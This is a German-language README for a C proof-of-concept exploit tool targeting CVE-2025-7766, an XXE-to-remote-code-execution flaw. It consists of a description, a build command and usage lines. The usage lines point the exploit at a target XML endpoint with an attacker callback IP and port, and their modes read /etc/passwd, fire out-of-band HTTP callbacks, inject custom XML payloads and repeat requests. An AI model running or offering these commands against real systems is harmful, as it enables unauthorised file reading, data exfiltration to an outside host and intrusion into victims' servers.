
C-basierter PoC-Exploit für CVE-2025-7766, der XXE-zu-RCE über Dateilesen und Out-of-Band-HTTP-Callbacks demonstriert. Unterstützt benutzerdefinierte XML-Payloads und wiederholte Anfragen.
PoC zur Ausnutzung der XML-External-Entity-Sicherheitslücke in CVE-2025-7766. Demonstriert Dateilesen (/etc/passwd) und Out-of-Band-HTTP-Rückrufe.
Author: Byte Reaper
CVE: CVE-2025-7766
Sicherheitslücke: Remotecodeausführung über XML External Entity (XXE)
/etc/passwd vom Ziel.gcc -o exploit exploit.c argparse.c -lcurl
# Read file payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT
# Out-of-band request payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r
# Custom payload
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -b '<YOUR_CUSTOM_XML>'
# Repeat requests 5 times
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -r -l 5
# Verbose output
./exploit -u http://target/xml -i YOUR_IP -p YOUR_PORT -v
MIT